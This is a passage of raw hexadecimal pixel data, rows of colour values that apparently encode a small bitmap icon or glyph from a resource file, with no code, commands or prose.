FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF1E1EA5FF0000E7FF0101E2FF0202\n      E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101E2FF0101\n      E2FF0202E2FF0101E2FF0000EAFF464792FF3A2F9FFF321FE5FF311FE1FF321E\n      E0FF331EE0FF331FE0FF331FE0FF331FE0FF331FE0FF331FE0FF331FE0FF2710\n      DEFF604FF3FFE6E6EEFF121430FF4B4B55FF282BB3FF1115FFFF1115FCFF1115\n      FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015FCFF1015\n      FCFF1116FCFF1115FCFF1115FFFF4C4E9AFF1C7DC5FF00B1FFFF00AAFFFF00A9\n      FFFF00AAFFFF00A8FFFF00A2FFFF00A2FFFF00A8FFFF00AAFFFF00AAFFFF00AA\n      FFFF00A9FFFF00AAFFFF00B4FFFF467DA1FF2022A2FF0406D3FF0706D0FF0807\n      D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909D1FF0909\n      D1FF0807D1FF0707D0FF0504D5FF454691FF3A30A2FF301DD8FF321DD4FF3220\n      D4FF3320D5FF3320D5FF3320D5FF3320D5FF3320D5FF3320D5FF210CD1FF8677\n      F4FFD0D2C5FF00000CFF0A0B1DFF47474EFF2B2AB2FF1512F1FF1714EDFF1815\n      EDFF1815EDFF1815EDFF1815EDFF1613EDFF1714EDFF1815EDFF1815EDFF1815\n      EDFF1815EDFF1512EDFF1410F3FF4B4C9DFF215BBCFF0569FFFF0767FEFF0968\n      FEFF0058FEFF0053FEFF4292FEFF509CFEFF0664FEFF005DFEFF0969FEFF0967\n      FEFF0868FEFF0767FEFF056AFFFF4A6C9EFF22239CFF0808CDFF0A0BCBFF0B0C\n      CAFF0C0CCAFF0C0BCCFF0C0DCCFF0C0DCCFF0C0DCCFF0C0DCCFF0C0BCCFF0C0C\n      CAFF0B0CCAFF080ACBFF0708CFFF48488EFF3A2FA0FF2F1BD5FF311ED3FF321F\n      D3FF3320D3FF3320D3FF3320D3FF3320D3FF321FD2FF1C08CEFFB0A7FFFFA7A9\n      99FF000000FF0C0C15FF000004FF606161FF2D26AFFF180FEDFF1A11E9FF1C11\n      E9FF1C13EBFF180EEAFF0A00E9FF1E15EAFF0F05E9FF1007E9FF1C13EBFF1C11\n      EBFF1B12E9FF1A11E9FF170EF0FF4E4C99FF2440B8FF083DFFFF0A3BFEFF0020\n      FEFF6F92FEFFFFFFFEFFFFFFFEFFA1B6FEFFABBCFEFF7095FEFF0033FEFF0C3D\n      FEFF0B3CFEFF0A3BFEFF073CFFFF4B5C9CFF232396FF0909C8FF0C0CC5FF0E0E\n      C5FF0E0EC5FF0F0FC5FF0F0FC5FF0F0FC5FF0F0FC5FF0F0FC5FF0F0FC5FF0E0E\n      C5FF0E0EC5FF0C0CC5FF0909CAFF49498AFF392D9DFF2D1AD3FF301BD0FF311E\n      D0FF301FD0FF321ED0FF311ED0FF301CD0FF1D09CDFFD6D0FFFF737668FF0000\n      00FF0D0D0FFF000000FFA2A495FF8F8CA4FF2D24ADFF1A0AEBFF1D0DE7FF1E10\n      E9FF1A0BE8FF3123EAFFEEF2FCFFC7C7F8FFDFE3FBFF8F8BF4FF0B00E6FF1F0F\n      E8FF1E10E9FF1C0EE7FF190BEEFF4E4A96FF242CB6FF0916FFFF0008FEFF6069\n      FEFFFFFFFEFFC8CBFEFF0000FEFF0009FEFF000BFEFF0512FEFF1F2BFEFF0712\n      FEFF0E1AFEFF0C18FEFF0915FFFF4B509AFF242494FF0808C5FF0C0CC1FF0C0C\n      C3FF0D0DC3FF0F0FC3FF0E0EC3FF0E0EC3FF0E0EC3FF0F0FC3FF1010C3FF0F0F\n      C3FF0E0EC3FF0C0CC2FF0909C7FF494989FF3A2E9DFF2D18D3FF301CD1FF311C\n      D1FF301DD1FF321FD1FF2D1ACFFF2613D0FFEEEBFFFF484A3EFF010000FF0C0C\n      0CFF000000FFCBCDBAFF8778F9FF4D478CFF2E25ABFF1B09EBFF1E0DE7FF1E0C\n      E9FF1100E6FFFFFFFEFF1707E7FFA7A1F6FFE5E4FBFFFFFFFFFF6F65F0FF1706\n      E7FF1F0DE9FF1D0BE7FF1A08EEFF4F4996FF2522B6FF0A07FFFF0000FEFFFFFF\n      FEFFFFFFFEFF0000FEFF0D0AFEFF100DFEFF100DFEFF0F0DFEFF0401FEFF2320\n      FEFF0000FEFF0C09FEFF0906FFFF4C4B9AFF202092FF0000C5FF0000C0FF0101\n      C0FF0808C1FF0606C1FF0202C0FF0202C0FF0202C0FF0505C0FF0F0FC3FF0F0F\n      C4FF0E0EC4FF0C0CC3FF0909C7FF49498AFF3A2C9DFF311DD4FF311CD0FF2F1D\n      D0FF321FD1FF2A17CFFF3926D7FFF7F6FFFF26271FFF050505FF0B0B0BFF0405\n      02FFE9E9DCFF6150E6FF1F09D3FF554E8DFF2F24ABFF1F0CEBFF1E0DE7FF1A09\n      E8FF584DEEFF9A92F4FF7166F0FFD5D2F9FF3728EBFFF7F6FDFFD3D1F9FF0F00\n      E7FF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF2626B6FF0808FFFF0E0EFEFFFFFF\n      FEFFC3C3FEFF0000FEFF1010FEFF1010FEFF1010FEFF0A0AFEFF2525FEFFFFFF\n      FEFFAFAFFEFF0000FEFF0909FFFF4C4C9AFFC8C8BEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFD4D4F4FFF6F6FCFFFFFFFFFFFFFFFFFFFFFFFFFFF5F5FCFF0000BFFF0F0F\n      C4FF0E0EC4FF0C0CC3FF0909C7FF49498AFF3B2F9EFF3620D5FF3823D3FF3621\n      D1FF2713CEFF5241E0FFF0F2EBFF0D0E09FF090909FF070707FF191A14FFF6F5\n      F6FF4331DBFF2611CFFF2C18D6FF554E8DFF2F25ABFF220EEDFF2511E9FF1E0B\n      E7FF5446EEFFA29CF5FF6358EEFFF4F3FEFF5043ECFFF6F5FDFFCECBF9FF1000\n      E7FF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF2525B6FF0C0CFFFF0202FEFFFFFF\n      FEFFD3D3FEFF0000FEFF0F0FFEFF1010FEFF1010FEFF0E0EFEFF0303FEFFCECE\n      FEFF8D8DFEFF0000FEFF0909FFFF4C4C9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF0000BFFF7C7CDFFFFFFFFFFFFFFFFFFFFFFFFFFFE3E3F7FF0000BEFF0E0E\n      C3FF0D0DC3FF0B0BC1FF0909C7FF494989FF3D2F9EFF3922D7FF3B26D5FF2D18\n      D2FF7D6DEFFFDDDECEFF000000FF0B0B0BFF020202FF36372EFFF2F0FFFF2D1B\n      D3FF2A15CFFF2D19CEFF2C18D5FF564E8DFF3125ACFF250FEEFF2812EAFF2A13\n      EBFF1904E9FFFBFCFEFF2C1DE9FF867BF2FFD0CCF9FFFFFFFFFF5D50EDFF1806\n      E7FF1D0DE9FF1B0BE7FF1A09EEFF4F4996FF2525B6FF1010FFFF0000FEFFECEC\n      FEFFFFFFFEFF0909FEFF0404FEFF0E0EFEFF0F0FFEFF0B0BFEFF0A0AFEFF0808\n      FEFF0000FEFF0A0AFEFF0A0AFFFF4B4B9AFFB9B9B9FFFFFFFFFF9F9FE8FF3434\n      D1FF1010C8FF2727CDFF2B2BCFFFFFFFFFFFFFFFFFFFE3E3F8FF0202C4FF1515\n      C9FF1414C9FF1212CAFF0F0FD0FF49498AFF3F309EFF3C25D8FF2A12D1FFA79B\n      FDFFBBBCAAFF000000FF151515FF050505FF636457FFE7E2FFFF2C17D3FF3824\n      D2FF3C27D5FF3C26D5FF3E26DBFF564F8FFF3226ACFF2710EDFF2A13E9FF2C16\n      EBFF2A14EAFF2F19EAFFDFDBFBFFE3E3FBFFE7E7FCFF786CF1FF1B04E8FF2915\n      EAFF2914EAFF2A12EAFF280FF1FF504996FF2626B6FF1111FFFF0B0BFEFF1E1E\n      FEFFFFFFFEFFFFFFFEFF1B1BFEFF0000FEFF0000FEFF3535FEFF1B1BFEFF1313\n      FEFF1515FEFF1313FEFF1111FFFF4C4C9AFFB9B9B9FFFFFFFFFFA3A3EAFF3E3E\n      D4FF0F0FCBFF2A2AD0FF3535D2FFFFFFFFFFFFFFFFFFE4E4F8FF0505C7FF1616\n      CCFF1515CCFF1313CAFF0F0FD1FF49498AFF3F2F9EFF2B11D6FFCFC5FFFF8B8D\n      7AFF000000FF161616FF000000FF939684FFCAC1FFFF2E15D2FF412BD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF3225ACFF2A10EFFF2C13EBFF2E15\n      EBFF2F16EBFF2C14EAFF2108E9FF1D05E9FF1F05E9FF270EE9FF2F17EBFF2E16\n      EBFF2E15EBFF2B13EBFF290FF2FF504996FF2525B6FF1111FFFF1313FEFF0707\n      FEFF1818FEFFD6D6FEFFFFFFFEFFFFFFFEFFBEBEFEFF4040FEFF1010FEFF1616\n      FEFF1515FEFF1313FEFF1010FFFF4B4B9AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF0000C3FF7D7DE4FFFFFFFFFFFFFFFFFFFFFFFFFFE5E5FAFF0000C9FF1111\n      CDFF1010CDFF0E0ECCFF0A0AD3FF474789FF34249DFFEAE4FFFF56584BFF0000\n      00FF0F0F0FFF000000FFBDC0AEFFA293FDFF2D14D3FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF3123ADFF270BEFFF280EEBFF2A10\n      EBFF2C11EBFF2B11EBFF2B11EBFF2C11EBFF2B11EBFF2B11EBFF2B11EBFF2C11\n      EBFF2A10EBFF280EEBFF270AF2FF4E4796FF2121B7FF0A0AFFFF0C0CFFFF0E0E\n      FFFF0909FFFF0000FDFF0000FFFF0000FFFF0000FFFF0909FFFF0F0FFFFF0F0F\n      FFFF0E0EFFFF0C0CFFFF0909FFFF494998FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFC9C9F5FFE6E6FBFFFFFFFFFFFFFFFFFFFFFFFFFFEAEAFBFF2222D0FF3333\n      D3FF3333D2FF3131D2FF3232D6FF555598FFAFADB9FF52534CFF252525FF3232\n      32FF333332FFDBDCDAFF8B7BF2FF4C37DAFF5945DCFF5945DCFF5946DCFF5844\n      DCFF5845DCFF5744DCFF5945E0FF615B9CFF3A30B3FF4833F3FF4531EFFF4733\n      EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633\n      EFFF4733EFFF4631EFFF4732F4FF5C55A4FF2929C3FF3939FFFF3434FFFF3535\n      FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737FFFF3737\n      FFFF3535FFFF3535FFFF3636FFFF5252ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      BFFFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2352B9FF0F61FFFF0C5CFFFF0D5D\n      FFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5CFFFF0C5D\n      FFFF0D5BFFFF0C5DFFFF1063FFFF49649AFF1E5885FF004FFFFF0131FFFF023A\n      FFFF013BFFFF013BFFFF013BFFFF013BFFFF013BFFFF013BFFFF013BFFFF013B\n      FFFF023AFFFF0139FFFF0039FFFF465B9EFF4C741FFF509601FF4F9302FF5094\n      03FF509302FF509302FF509302FF509302FF509302FF509302FF509302FF5093\n      02FF509403FF4F9302FF519800FF607647FF686B76FF4A839CFF52738AFF5472\n      8AFF54748AFF54748AFF54748AFF54748AFF54748AFF54748AFF54738AFF5474\n      8AFF54728AFF537389FF4A829AFF7A7C84FF344EB0FF2556F2FF2654EBFF2755\n      EBFF2755EBFF2755EBFF2855EBFF2855EBFF2855EBFF2855EBFF2755EBFF2755\n      EBFF2754EBFF2654EBFF2657F7FF536397FF20323BFF047C87FF0787FFFF0816\n      F7FF0928F8FF092BF8FF092AF8FF092AF8FF092AF8FF092AF8FF092BF8FF092B\n      F8FF082BF8FF0729F8FF0527FEFF4555A0FF536C1FFF567C00FF577C00FF587B\n      00FF587D00FF587D00FF587D00FF587D00FF587D00FF587D00FF587D00FF587D\n      00FF567B00FF577C00FF578000FF627244FF79312FFF682E32FF1CD0FCFF23C4\n      EDFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2EAFF23C2\n      EAFF23C2EBFF1AD4FFFF653138FF855453FFCCC9BCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A39EFF222E35FF080B14FF0A7576FF0BD8\n      FFFF0C1EF8FF0C12F7FF0C1FF8FF0C1FF8FF0C1FF8FF0C1FF8FF0C1DF8FF0C1D\n      F8FF0B1EF8FF081BF8FF0718FEFF48509EFF2E9090FF1CBFBFFF1EBDBDFF1FBD\n      BDFF20BCBDFF20BCBEFF20BCBEFF20BCBEFF20BCBEFF20BCBEFF20BCBEFF20BC\n      BDFF1FBDBDFF1EBBBDFF1BC0C1FF508886FF743333FF720B09FF642C31FF0EE0\n      FFFF14D4FFFF15D2FFFF15D2FFFF15D2FFFF15D2FFFF15D2FFFF15D2FFFF15D2\n      FFFF10DDFFFF3D7A95FF750401FF825858FFB9BABAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9C9DFF232528FF050A0DFF0C0001FF0E61\n      67FF0EFFFFFF0F60F9FF0F00F6FF0F0FF8FF0F11F8FF0F11F8FF0F11F8FF0E12\n      F8FF0E10F6FF0C10F6FF090DFDFF494B9CFF20A2BEFF05DBFFFF08D9FFFF0AD9\n      FFFF0AD9FFFF0BD8FFFF0AD6FFFF0AD6FFFF0AD6FFFF0AD6FFFF0AD6FFFF09D6\n      FFFF09D6FFFF07D5FFFF04DCFFFF4891A2FF723131FF6B0E0EFF700806FF6029\n      30FF09E0FFFF10CFFFFF11CEFFFF11CEFFFF11CEFFFF11CEFFFF11CEFFFF10CF\n      FFFF0CD8FFFF730400FF6A0B0BFF815656FF742E21FF961B00FF911C00FF931F\n      00FF941F00FF942000FF942000FF942000FF942000FF942000FF942000FF941F\n      00FF931E00FF921C00FF991C00FF75504AFF202020FF2A2929FF000000FF0C00\n      00FF0E5760FF10FFFFFF10BCFDFF1010F6FF1004F7FF100FF8FF100FF8FF0F0E\n      F8FF0E0DF8FF0C0BF6FF0908FEFF49499BFF2B84B3FF15A9F9FF17A7F4FF18A7\n      F4FF19A7F7FF1DB2DEFF20BBC5FF1FBAC8FF1FBAC8FF1FBAC8FF1FBAC8FF20BA\n      C8FF1EBBC8FF1CBBC8FF1ABECDFF4F868BFF722E2EFF6A0A0AFF6C1010FF7209\n      06FF583841FF06E3FFFF10D0FFFF10D0FFFF10D0FFFF10D0FFFF11CEFFFF0BD6\n      FFFF3387A3FF700100FF690909FF815656FF7C4026FFA7400CFFA03B0DFFA03B\n      0EFFA23D10FFA23D10FFA23D10FFA23D10FFA23D10FFA23D10FFA23D10FFA23C\n      0FFFA13B0EFFA0390CFFA73909FF7A5A4CFF2B2B2BFFBBBBBBFFEBEBEBFF1A1A\n      1AFF0D0000FF104B51FF10F3FFFF10F2FEFF106DFAFF1007F7FF1010F8FF0F0F\n      F8FF0E0EF8FF0C0CF6FF0909FEFF49499BFF43249EFF430FD5FF400CD1FF3F0E\n      D1FF400CDBFF4F3D65FF5D6F00FF5B6A00FF5B6A00FF5B6A00FF5B6B00FF5B69\n      00FF5A6800FF5A6700FF5A6800FF636947FF722F2FFF6D0C0CFF711616FFD7BE\n      BEFF6C0000FF4D5161FF06E3FFFF11D0FFFF11D0FFFF11D0FFFF11D0FFFF09DB\n      FFFF534451FF6D0806FF690A0AFF815555FF7D4125FFAA420FFFA54311FFA541\n      11FFA03C0FFFA13B0FFFA13C0FFFA23D10FFA23D10FFA23D10FFA23D10FFA23C\n      0FFFA13B0EFFA0390CFFA73909FF7A5A4CFF202020FF989898FFC2C2C2FF1E1E\n      1EFF0D0000FF0F808FFF0FF3FFFF10EAFEFF1055FAFF1008F6FF1010F8FF0F0F\n      F8FF0E0EF8FF0C0CF6FF0909FEFF49499BFF5645A5FF350DD6FF4A28D8FF4F2E\n      D8FF3C18DEFF4C4365FF5D6D00FF5D6900FF5D6A00FF5D6A00FF5D6A00FF5D68\n      00FF5C6700FF5B6600FF5B6700FF646847FF722E2EFF711010FF721111FF6B09\n      09FF6D0F0FFF750000FF406E85FF07E0FFFF11D0FFFF11D0FFFF11D0FFFF07DE\n      FFFF671A1CFF6C0B0AFF690A0AFF815555FF752F21FF9D2700FF992700FF9A2A\n      00FF9B2C00FF982800FF952200FF931E00FF911D00FF921D00FF921D00FF921C\n      00FF921B00FF911800FF971A00FF75504AFF242424FF1C1C1CFF010101FF1100\n      00FF158F9AFF14FFFFFF11ABFCFF0E06F6FF0F06F7FF0F0FF8FF0F0FF8FF0E0E\n      F8FF0D0DF8FF0B0BF6FF0909FEFF49499BFF503DA3FFEBE6FDFFEFEBFAFF370F\n      D3FF4C1FD8FF3078E1FF15D1EAFF15C9EAFF15C7EAFF15C7EAFF15C8EAFF14C8\n      EAFF14C8EAFF12C8EAFF0FCCEFFF4B8B96FF722F2FFF6E0505FF761515FF7717\n      17FF781717FF731414FF7A0000FF3386A3FF08DEFFFF10CFFFFF10CFFFFF06E2\n      FFFF710301FF690C0CFF690A0AFF815555FFBDC3C7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9DA1A3FF262626FF0E0E0EFF130000FF1691\n      96FF17FFFFFF1750F9FF1703F8FF1715F7FF1616F8FF1515F8FF1515F8FF1515\n      F8FF1414F8FF1212F6FF0F0FFFFF49499BFF8D85B0FFFFFFFFFFFFFFFFFF8B71\n      E5FF4B19D5FF2F85F2FF0FE3FFFF12DBFFFF11D9FFFF10DAFFFF10D8FFFF10D8\n      FFFF0FDAFFFF0DDAFFFF0BE1FFFF4891A3FF743232FFCFADADFF730A0AFF7917\n      17FF842929FF882D2DFF791818FF880600FF3897B2FF0FE1FFFF16D3FFFF0CE5\n      FFFF810806FF771515FF781212FF825555FFCCCCBAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59CFF252525FF100000FF139890FF15C1\n      FFFF160EF7FF170EF7FF1717F7FF1717F7FF1717F7FF1717F7FF1717F7FF1616\n      F7FF1515F7FF1313F8FF0F0FFFFF49499BFF432CA0FFBBABF4FF775AE2FF5634\n      DBFF5022DCFF446FBDFF37BA9EFF38B4A1FF38B4A1FF38B4A1FF37B4A1FF37B4\n      A1FF36B4A1FF34B3A0FF33B7A3FF54807AFF742E2EFF770F0FFF791515FF740B\n      0BFF8E3737FF9A4C4CFF7A1515FF7D1919FF890702FF418DA5FF0FE7FFFF0FE5\n      FFFF7B1B1CFF7C1413FF791212FF825555FF2B35A5FF2036EBFF2035E4FF2136\n      E4FF2236E4FF2238E4FF2237E4FF2237E4FF2237E4FF2237E4FF2238E4FF2236\n      E4FF2136E4FF2035E4FF2038F0FF4D528EFF231F1FFF0B868CFF0E5DFFFF1000\n      F9FF110FF9FF1111FAFF1111FAFF1111FAFF1111FAFF1111FAFF1111FAFF1111\n      FAFF1010FAFF0E0EFAFF0A0AFFFF47479AFF452BA0FF6540E3FF491ED8FF4D24\n      DAFF4E23E4FF5E516CFF6C8100FF6B7B04FF6B7B04FF6B7B04FF6B7B04FF6B7B\n      04FF6B7B02FF6A7A00FF6C8000FF646946FF732D2DFF790C0CFF7D1515FFCFAC\n      ACFF740808FF7B1111FF7C1515FF7C1515FF7C1515FF890300FF536272FF02F6\n      FFFF63424BFF7D0B0AFF7B0E0EFF825454FF313AB0FF4757F6FF4352F0FF4253\n      F0FF4353F0FF4354F0FF4354F0FF4354F0FF4354F0FF4354F0FF4354F0FF4353\n      F0FF4253F0FF4152F0FF4556F7FF565CA1FF304D7AFF3341FFFF3128FAFF3333\n      FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333\n      FAFF3333FAFF3131FAFF3232FDFF5555AAFF4C39A7FF6443E1FF6342DEFF6443\n      E0FF6341E8FF6E6B89FF7A942BFF799133FF799133FF799133FF799133FF7991\n      33FF799133FF789131FF7A9332FF6F7854FF763535FF923636FF8F3232FF9033\n      33FF913636FF913636FF913636FF913636FF913636FF913636FF982A27FF8155\n      5AFF638EA1FF942D2CFF913434FF855A5AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      